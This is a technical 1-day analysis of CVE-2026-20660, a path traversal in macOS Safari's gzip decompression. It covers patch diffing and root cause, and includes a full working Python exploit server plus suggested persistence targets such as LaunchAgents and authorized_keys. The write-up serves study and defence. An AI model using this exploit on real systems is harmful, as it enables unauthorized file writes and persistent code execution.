Vulnerability Overview
CVE-2026-20660 is a path handling vulnerability in Apple’s CFNetwork framework that allows a remote attacker to write files to arbitrary locations on the victim’s filesystem by serving a malicious gzip file.
| Field | Details |
|---|---|
| Component | CFNetwork (macOS) |
| Impact | A remote user may be able to write arbitrary files |
| Fix Description | A path handling issue was addressed with improved logic |
| Fixed In | Safari 26.3 / macOS Sequoia 26.3 (2026-02-11) |
| Discovered By | Amy |
| Vulnerability Class | Path Traversal via Gzip FNAME header (RFC 1952) |
| Trigger Condition | Safari “Open safe files after downloading” enabled (on by default) |
| Advisory | Apple Security Release - Safari 26.3 |
Disclosure note: This is a 1-day analysis performed independently after Apple released the fix in Safari 26.3. The original vulnerability was discovered and reported by Amy. All testing was conducted on macOS with the affected version (Safari 26.2 / macOS 26.2.1) against locally controlled systems.
Phase 1: Binary Acquisition and BinDiff
Extracting CFNetwork from IPSW
The CFNetwork framework was extracted from the dyld_shared_cache embedded in IPSW firmware images for iOS 26.2.1 (vulnerable) and iOS 26.3 (patched), using the ipsw tool.
Both extracted binaries are Mach-O 64-bit ARM64e (with PAC support). However, because they were extracted from the shared cache, the section offsets in their load commands point to addresses within the original shared cache rather than within the extracted file. This causes otool, objdump, and IDA Pro to fail during normal loading:
$ file CFNetwork_26.2.1/CFNetwork
Mach-O 64-bit arm64e (caps: PAC00) dynamically linked shared library
$ otool -tV CFNetwork
section offset for section (__TEXT,__text) is past end of file
IDA Pro loaded both binaries as raw ROM segments instead of structured Mach-O files, resulting in no function names and no Objective-C metadata resolution.
BinDiff Structural Comparison
Despite the degraded analysis quality in IDA, BinDiff successfully matched 10,489 functions based on control flow graph structure. The vast majority had a similarity score of 1.0 (identical). Only approximately 20 functions had a similarity score below 1.0.
BinDiff results are stored in a SQLite database, containing the matched function addresses in both old and new binaries, similarity scores, and instruction counts.
Phase 2: Symbol Resolution via lief + capstone + BinDiff Cross-Reference
Problem
BinDiff only provided raw file offset addresses (e.g., sub_24C4A4). Because IDA did not parse the Mach-O structure, all functions were unnamed sub_XXXXX entries. These addresses needed to be mapped to their actual symbol names.
Solution
The Python lief library was used to parse the Mach-O symbol table directly. Unlike IDA with shared-cache-extracted dylibs, lief correctly handles the load commands and provides the complete exported symbol list, including C functions, C++ mangled names, and Objective-C methods.
The key address mapping relationship:
BinDiff address = IDA flat address = file offset (IDA loaded the binary as ROM starting at 0x0)
lief symbol address = virtual address (vaddr)
vaddr = __TEXT segment base + file offset
Therefore: symbol name = lief.symbols[BinDiff_address + __TEXT_base]
import lief
binary = lief.parse('CFNetwork_26.2.1/CFNetwork')
# __TEXT segment: vaddr=0x197cdc000, fileoff=0x0
TEXT_BASE = 0x197cdc000
# BinDiff address 0x24C4A4 -> vaddr 0x197F284A4
vaddr = TEXT_BASE + 0x24C4A4
symbol_name = symbols[vaddr]
# -> "-[NSGZipDecoder filenameWithOriginalFilename:]"
Complete Symbol Resolution of Changed Functions
After mapping all functions with similarity < 1.0 to their symbol names and filtering out loader stubs (gotLoadHelper, delayInitStub), the meaningful changes were:
| Similarity | Instructions | Symbol | Category |
|---|---|---|---|
| 0.088 | – | BaseAwaitingTube::BaseAwaitingTube |
Connection layer |
| 0.229 | – | resolveTubeType |
Connection layer |
| 0.356 | – | ConnectionProtocolRemoveInputHandler |
Connection layer |
| 0.406 | – | PAC::rlsCancel |
Proxy Auto-Config |
| 0.653 | – | TubeManager::addNewFastPathCache |
Connection layer |
| 0.889 | 112 | -[NSGZipDecoder filenameWithOriginalFilename:] |
Filename handling |
| 0.906 | 278 | PAC::CreatePACTicket |
Proxy Auto-Config |
| 0.992 | 490 | -[__NSCFURLProxySessionConnection didCompleteWithError:] |
Session callback |
| 0.976–0.993 | – | Various NWIOConnection, TubeManager functions |
Connection/transport |
The only changed function related to filename or path handling is [NSGZipDecoder filenameWithOriginalFilename:].
Ruling Out Other Filename Functions
To confirm no relevant changes were missed, capstone was used to disassemble and compare instruction counts for all filename-related functions:
| Function | OLD Instructions | NEW Instructions | Delta |
|---|---|---|---|
_createSanitizedFileNameFromString |
300+ | 300+ | 0 |
_createFilenameFromContentDispositionHeader |
500+ | 500+ | 0 |
_CFURLResponseCopySuggestedFilename |
48 | 48 | 0 |
URLResponse::copySuggestedFilename |
239 | 239 | 0 |
URLDownload::_internal_copySuggestedFilenameFromOriginalFilename |
82 | 82 | 0 |
GZipDownloadDataDecoder::createFilenameWithOriginalFilename |
120 | 120 | 0 |
All Content-Disposition parsing and filename construction functions were byte-identical, confirming the vulnerability is not in the HTTP header parsing layer.
Phase 3: Root Cause Analysis via ARM64 Disassembly Comparison
Disassembly Method
Both versions of [NSGZipDecoder filenameWithOriginalFilename:] were disassembled using capstone (ARM64 disassembler). Due to the shared-cache extraction offset mapping, file offsets were calculated as:
file_offset = vaddr - __TEXT_segment.vaddr
# OLD: 0x197F284A4 - 0x197CDC000 = 0x24C4A4
# NEW: 0x198099394 - 0x197E4D000 = 0x24C394
Call Sequence Comparison
Each BL (branch-and-link) instruction target was resolved to its corresponding Objective-C dispatch stub symbol via lief:
Old version (26.2.1) – vulnerable:
objc_msgSend$copy @ 0x198088e40 <- copy filename
objc_msgSend$length @ 0x19808b900 <- check length
objc_msgSend$pathExtension @ 0x19808c460 <- get extension
objc_msgSend$lowercaseString @ 0x19808ba40 <- normalize case
objc_msgSend$isEqualToString: @ 0x19808b560 <- compare extension
objc_msgSend$stringByDeletingPathExtension @ 0x198091240 <- strip .gz
objc_msgSend$stringByAppendingPathExtension @ 0x198091200 <- add replacement extension
No call to lastPathComponent.
New version (26.3) – patched:
objc_msgSend$length @ 0x1981fd3c0
objc_msgSend$pathExtension @ 0x1981fdf20
objc_msgSend$lowercaseString @ 0x1981fd500
objc_msgSend$isEqualToString: @ 0x1981fd020
objc_msgSend$stringByDeletingPathExtension @ 0x198202d00
objc_msgSend$stringByAppendingPathExtension @ 0x198202cc0
objc_msgSend$lastPathComponent @ 0x1981fd3a0 <- ADDED
A lastPathComponent tail call was added.
Control Flow Difference
Old version – return path:
; If NSGZipDecoder has a filename (read from gzip FNAME header) and its length is non-zero:
0x197f284d0: bl objc_msgSend$length ; check length
0x197f284d4: cbz x0, ... ; length == 0 -> fall through to pathExtension branch
0x197f284d8: mov x0, x20 ; length != 0 -> return filename directly
0x197f284e4: retab ; <- BUG: no path sanitization
New version – return path:
0x1980993c0: bl objc_msgSend$length
0x1980993c4: cbnz x0, #0x198099408 ; length != 0 -> jump forward
; ... (pathExtension branch, which also reaches 0x198099408)
0x198099408: mov x0, x20
0x198099414-0x198099424: epilog
0x198099424: b objc_msgSend$lastPathComponent ; <- tail call to strip directory components
All exit paths now pass through a lastPathComponent tail call, ensuring directory traversal components are stripped from the filename.
Phase 4: Determining the Attack Vector
The Wrong Direction: Content-Disposition
The first PoC attempt embedded ../ path traversal sequences in the HTTP Content-Disposition header. Testing on Safari 26.2 showed the file was saved as _.._cve-2026-20660-proof.txt.gz:
../was replaced with_.._by Safari’s download manager – Safari already sanitizes HTTP header filenames.- The
.gzextension was preserved – NSGZipDecoder was never invoked for decompression.
This confirmed that path traversal cannot be triggered through Content-Disposition.
The Correct Vector: Gzip FNAME Header
The gzip format defined in RFC 1952 includes an optional FNAME field (FLG bit 3) that stores the original filename. This filename is embedded inside the gzip file body and is not subject to HTTP-layer sanitization.
NSGZipDecoder reads the FNAME field when decompressing a .gz file and passes it through filenameWithOriginalFilename: to determine the output filename.
Attack flow:
sequenceDiagram
participant A as Attacker Server
participant S as Victim Safari (< 26.3)
A->>S: HTTP Response
Content-Type: application/gzip
Content-Disposition: filename="report.gz" ← clean
[gzip body with FNAME="../../proof.txt"] ← malicious
Note over S: 1. Safari saves report.gz
to ~/Downloads/
Note over S: 2. "Open safe files"
triggers NSGZipDecoder
Note over S: 3. NSGZipDecoder reads
FNAME: "../../proof.txt"
rect rgb(255, 200, 200)
Note over S: OLD version (vulnerable)
output = "../../proof.txt"
~/Downloads/../../proof.txt
= ~/proof.txt ← ESCAPED
end
rect rgb(200, 255, 200)
Note over S: NEW version (patched)
lastPathComponent → "proof.txt"
~/Downloads/proof.txt ← safe
end
Constructing the Gzip FNAME Field
RFC 1952 gzip header layout:
+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG| MTIME |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+
1f 8b 08 08 ...timestamp... 00 ff
FLG bit 3 = FNAME: if set, a null-terminated original filename string follows
immediately after byte 10 of the header.
Phase 5: Observed Behavior on macOS Safari 26.2
Testing on macOS Safari 26.2 revealed the following behaviors:
Path Traversal Depth
NSGZipDecoder performs decompression not directly in ~/Downloads/, but in a temporary subdirectory beneath it. Consequently:
depth=1(../pwn.sh) only escapes the temporary subdirectory; the file remains within~/Downloads/.depth=2(../../pwn.sh) is required to reach~/.
File Permissions After Decompression
$ ls -la ~/pwn.sh
-rwx------@ 1 user staff 25 Mar 9 22:32 pwn.sh
Decompressed .sh files automatically received executable permissions (-rwx------). This means attacker-planted scripts do not require the victim to manually run chmod +x, substantially lowering the barrier from arbitrary file write to code execution.
Note: The exact source of the executable permission requires further investigation – it may originate from Unix permission bits preserved in the gzip metadata, or from macOS applying default executable permissions to script files.
No Overwrite of Existing Files
If a file already exists at the target path, Safari does not overwrite it; instead, it renames the new file with a numeric suffix (e.g., pwn-2.sh). This means:
- First-time writes to a target path succeed.
- Existing files such as
.zshrcorauthorized_keyscannot be tampered with. - However, new files can be created in sensitive directories (e.g.,
~/.ssh/) provided the directory exists and the target filename is not already taken.
High-Impact Exploitation Scenarios
Given the “create but not overwrite” constraint, the most valuable attack targets are writing new files into sensitive directories:
| Target Path | FNAME (depth=2) | Impact |
|---|---|---|
~/Library/LaunchAgents/com.evil.plist |
../../Library/LaunchAgents/com.evil.plist |
Persistent code execution on user login (plist format) |
~/.ssh/authorized_keys |
../../.ssh/authorized_keys (only if .ssh/ already exists) |
Unauthorized SSH access |
~/pwn.sh |
../../pwn.sh |
Executable script planted with +x permissions (verified) |
LaunchAgents represents the highest-impact target: the directory typically already exists, plist filenames can be chosen arbitrarily (avoiding conflicts), and macOS automatically executes all plist-defined tasks in this directory at user login.
Impact Analysis
macOS (Affected)
Files can be written outside ~/Downloads/ to arbitrary user-accessible locations. Highest-impact scenarios:
~/Library/LaunchAgents/– write a plist to achieve persistent code execution at user login (primary target).~/.ssh/authorized_keys– add an attacker’s SSH public key (requires.ssh/directory to already exist and no existing file with the same name).- Executable scripts at arbitrary paths – decompressed files automatically receive
+xpermissions.
iOS (Not Affected)
Symbol analysis confirmed that NSGZipDecoder is invoked only on macOS. iOS uses an entirely separate decompression mechanism.
Platform Download/Decompression Architecture
| Platform | Download API | Decompression | Filename Handling |
|---|---|---|---|
| macOS | NSURLDownload |
NSGZipDecoder (conforms to NSURLDownloadDecoder protocol) |
filenameWithOriginalFilename: – vulnerable |
| iOS | NSURLSession |
SZExtractor / STRemoteExtractor |
Independent code path, not affected |
Symbol Analysis Evidence
-
NSGZipDecoderconforms to theNSURLDownloadDecoderprotocol:__OBJC_CLASS_PROTOCOLS_$_NSGZipDecoder -> __OBJC_PROTOCOL_$_NSURLDownloadDecoderNSURLDownloadis a legacy macOS-only download API (never available on iOS). -
NSGZipDecoder.initcalls macOS-only APIs:-[NSGZipDecoder init] -> _CFURLDownloadCancel -> -[NSURLDownload cleanupChallenges] -
iOS
NSURLSessionDownloadTaskuses a different decompression path:NSURLSessionTask._extractor -> SZExtractor (Streaming Zip Extractor) -> STRemoteExtractorThese are
NSURLSession-specific decompressors, entirely independent ofNSGZipDecoder. -
Consistent with Apple’s advisory: CVE-2026-20660 is listed only for “Available for: macOS Sonoma and macOS Sequoia”, not iOS.
Exploitation Constraints
- macOS only – iOS uses the independent
SZExtractordecompression path. - Requires Safari’s “Open safe files after downloading” to be enabled (on by default in macOS Safari).
- Cannot overwrite existing files – Safari applies automatic numeric-suffix renaming for conflicts.
- Path traversal requires depth >= 2 (decompression occurs in a subdirectory of
~/Downloads/). - The attacker must know the relative directory depth to the target path.
Exploitation Advantages
- Decompressed scripts automatically receive executable permissions – no manual
chmod +xrequired by the victim. ~/Library/LaunchAgents/exists by default and plist filenames are attacker-controlled – no conflict risk.- The entire attack chain requires zero user interaction (Safari’s auto-decompression is enabled by default).
Proof of Concept
The PoC consists of two files: server.py (core gzip builder and HTTP server) and server_overwrite.py (simplified variant targeting ~/pwn.sh).
server.py
#!/usr/bin/env python3
"""
CVE-2026-20660 PoC -- CFNetwork NSGZipDecoder Path Traversal
Root Cause (from BinDiff patch analysis):
-[NSGZipDecoder filenameWithOriginalFilename:] reads the FNAME field
from the gzip header. The OLD version returns it as-is. The NEW version
calls [NSString lastPathComponent] to strip directory components.
Attack Vector:
The path traversal is embedded in the GZIP HEADER (RFC 1952 FNAME),
NOT in the Content-Disposition HTTP header.
1. Server sends a .gz file with a CLEAN Content-Disposition name
2. Safari downloads "harmless.gz" to ~/Downloads/
3. Safari auto-decompresses .gz (if "Open safe files" is enabled)
4. NSGZipDecoder reads FNAME from gzip header: "../../evil.txt"
5. OLD version uses "../../evil.txt" -> file written OUTSIDE Downloads
6. NEW version: lastPathComponent -> "evil.txt" -> safe
Usage:
python3 server.py [--port PORT] [--depth DEPTH]
"""
import argparse
import gzip
import http.server
import io
import os
import struct
import sys
import time
import urllib.parse
from datetime import datetime
PROOF_TEXT = """\
CVE-2026-20660 -- Proof of Arbitrary File Write
================================================
This file was written by exploiting a path traversal
in the gzip FNAME header field, processed by
-[NSGZipDecoder filenameWithOriginalFilename:]
Timestamp: {timestamp}
FNAME payload: {fname}
"""
def make_gzip_with_fname(content: bytes, fname: str) -> bytes:
"""
Build a gzip stream with a custom FNAME (original filename) header.
RFC 1952 gzip format:
+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG| MTIME |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+
FLG bit 3 (FNAME): If set, an original file name is present,
terminated by a zero byte.
"""
import zlib
# Gzip header
header = bytearray()
header += b'\x1f\x8b' # ID1, ID2 (magic)
header += b'\x08' # CM = deflate
header += b'\x08' # FLG = FNAME bit set
header += struct.pack('<I', int(time.time())) # MTIME
header += b'\x00' # XFL
header += b'\xff' # OS = unknown
# FNAME field: null-terminated string
header += fname.encode('latin-1') + b'\x00'
# Compressed data
compress = zlib.compressobj(9, zlib.DEFLATED, -zlib.MAX_WBITS)
deflated = compress.compress(content)
deflated += compress.flush()
# Trailer: CRC32 + ISIZE
crc = zlib.crc32(content) & 0xFFFFFFFF
isize = len(content) & 0xFFFFFFFF
trailer = struct.pack('<II', crc, isize)
return bytes(header) + deflated + trailer
class ExploitHandler(http.server.BaseHTTPRequestHandler):
traversal_depth = 5
target_name = "cve-2026-20660-proof.txt"
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
query = urllib.parse.parse_qs(parsed.query)
if parsed.path == "/":
self._serve_landing()
elif parsed.path == "/download":
depth = int(query.get("depth", [str(self.traversal_depth)])[0])
custom_fname = query.get("fname", [None])[0]
self._serve_exploit(depth, custom_fname)
else:
self.send_error(404)
def _serve_landing(self):
page = """<!DOCTYPE html>
<html><head><title>CVE-2026-20660 PoC</title></head>
<body>
<h1>CVE-2026-20660 PoC</h1>
<p>NSGZipDecoder FNAME Path Traversal</p>
<a href="/download?depth=2">Trigger (depth=2)</a>
</body></html>""".encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(page)))
self.end_headers()
self.wfile.write(page)
def _serve_exploit(self, depth: int, custom_fname: str | None = None):
ts = datetime.now().isoformat()
if custom_fname:
fname = custom_fname
else:
fname = "../" * depth + self.target_name
text = PROOF_TEXT.format(timestamp=ts, fname=fname)
gz_data = make_gzip_with_fname(text.encode('utf-8'), fname)
clean_name = "report.gz"
print(f"\n{'='*60}")
print(f" Exploit triggered @ {ts}")
print(f" Content-Disposition: {clean_name} (clean)")
print(f" Gzip FNAME header: {fname} (malicious)")
print(f" Payload: {len(gz_data)} bytes")
print(f" Client: {self.client_address[0]}")
print(f"{'='*60}")
self.send_response(200)
self.send_header("Content-Type", "application/gzip")
self.send_header("Content-Disposition", f'attachment; filename="{clean_name}"')
self.send_header("Content-Length", str(len(gz_data)))
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(gz_data)
def log_message(self, fmt, *args):
sys.stderr.write(f"[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\n")
def main():
p = argparse.ArgumentParser(description="CVE-2026-20660 PoC Server")
p.add_argument("--port", "-p", type=int, default=8080)
p.add_argument("--bind", "-b", default="0.0.0.0")
p.add_argument("--depth", "-d", type=int, default=5,
help="Path traversal depth (../ count)")
p.add_argument("--name", "-n", default="cve-2026-20660-proof.txt",
help="Target filename for proof")
args = p.parse_args()
ExploitHandler.traversal_depth = args.depth
ExploitHandler.target_name = args.name
srv = http.server.HTTPServer((args.bind, args.port), ExploitHandler)
print(f"\n CVE-2026-20660 PoC Server")
print(f" http://{args.bind}:{args.port}/")
print(f" Default depth: {args.depth}")
print(f" Target name: {args.name}")
print(f"\n Attack: gzip FNAME header path traversal")
print(f" Requires: 'Open safe files after downloading' in Safari\n")
try:
srv.serve_forever()
except KeyboardInterrupt:
print("\nStopped.")
srv.server_close()
if __name__ == "__main__":
main()
Usage
cd CVE-2026-20660
python3 exploit/server.py --port 8888
# Open in a vulnerable Safari (< 26.3):
# http://<server-ip>:8888/
Prerequisite: Safari Preferences > General > “Open safe files after downloading” must be enabled (this is the macOS Safari default).
Verification:
ls ~/cve-2026-20660-proof.txt # with depth=2
cat ~/cve-2026-20660-proof.txt # inspect proof content
Mitigation
- Update to Safari 26.3 or later.
- Disable Safari Preferences > General > “Open safe files after downloading”.
- Do not download
.gzfiles from untrusted sources.